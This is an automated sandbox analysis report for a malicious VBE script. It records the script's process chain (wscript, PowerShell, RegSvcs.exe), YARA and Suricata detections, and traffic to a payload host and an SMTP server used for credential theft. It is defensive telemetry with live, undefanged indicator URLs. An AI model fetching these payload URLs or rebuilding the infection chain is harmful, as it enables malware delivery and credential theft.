Windows Analysis Report
Booking_0731520.vbe

Malicious sample detected (through community Yara rule)

Source: global traffic

TCP traffic: 192.168.2.5:49983 -> 162.254.34.31:587

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 162.254.34.31 162.254.34.31

Source: Joe Sandbox View	ASN Name: VIVIDHOSTINGUS VIVIDHOSTINGUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 172.67.215.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 172.67.215.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 172.67.215.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 172.67.215.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49712 -> 172.67.215.48:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.5:49920

Source: global traffic

TCP traffic: 192.168.2.5:49983 -> 162.254.34.31:587

Source: global traffic	HTTP traffic detected: GET /2910/s HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET /2910/r HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET /2910/E93ukvxugzIRTSVJZUqI.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET /2910/v HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET /2910/file HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.34.31
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /2910/s HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET /2910/r HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET /2910/E93ukvxugzIRTSVJZUqI.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET /2910/v HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET /2910/file HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: documenthost.store
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: documenthost.store
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org

Source: RegSvcs.exe, 00000008.00000002.3296808679.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: RegSvcs.exe, 00000008.00000002.3296808679.0000000003041000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000008.00000002.3296808679.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000008.00000002.3296808679.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: wscript.exe, 00000000.00000003.2108425270.000001FE4E4BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store/2910/E93ukvxugzIRTSVJZUqI.txt
Source: wscript.exe, 00000000.00000003.2247215022.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2249046009.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2247957240.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store/2910/file
Source: wscript.exe, 00000000.00000003.2247215022.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2249046009.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2247957240.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store/2910/filen
Source: wscript.exe, 00000000.00000003.2072048956.000001FE4C774000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2249173462.000001FE4C7F5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2108425270.000001FE4E4BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store/2910/r
Source: wscript.exe, 00000000.00000002.2249173462.000001FE4C7F5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2057998960.000001FE4C745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store/2910/s
Source: wscript.exe, 00000000.00000003.2221847721.000001FE4C723000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2072222190.000001FE4C723000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2058132166.000001FE4C723000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2209476075.000001FE4C723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store/L
Source: wscript.exe, 00000000.00000003.2108162722.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2108624502.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2209476075.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store:443/2910/E93ukvxugzIRTSVJZUqI.txt
Source: wscript.exe, 00000000.00000003.2247957240.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2249046009.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2246918851.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store:443/2910/file
Source: wscript.exe, 00000000.00000003.2072048956.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://documenthost.store:443/2910/r

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 172.67.215.48:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.48:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.48:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.48:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.48:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49981 version: TLS 1.2

System Summary

Source: amsi64_8092.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 8.2.RegSvcs.exe.1150000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_02EAE270	8_2_02EAE270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_02EA4A98	8_2_02EA4A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_02EAAA12	8_2_02EAAA12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_02EA3E80	8_2_02EA3E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_02EA41C8	8_2_02EA41C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B2A178	8_2_06B2A178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B36668	8_2_06B36668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B35640	8_2_06B35640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B3B2A3	8_2_06B3B2A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B3C200	8_2_06B3C200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B33100	8_2_06B33100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B37DF0	8_2_06B37DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B37710	8_2_06B37710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B3E418	8_2_06B3E418
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B32409	8_2_06B32409
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B30040	8_2_06B30040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B35D5F	8_2_06B35D5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B3001A	8_2_06B3001A

Source: amsi64_8092.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 8.2.RegSvcs.exe.1150000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBE@10/12@2/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\PowerShell

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\PSReadLineHistoryFile_-399786117
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1632:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lqfx2iv5.p3l.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\PPJeBFdmEDGXlnL.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='RegSvcs.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='RegSvcs.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='RegSvcs.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='RegSvcs.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='RegSvcs.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Booking_0731520.vbe

ReversingLabs: Detection: 25%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Booking_0731520.vbe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\PPJeBFdmEDGXlnL.vbs"
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\PPJeBFdmEDGXlnL.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "8092" "2736" "2688" "2740" "0" "0" "2744" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "8092" "2736" "2688" "2740" "0" "0" "2744" "0" "0" "0" "0" "0"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
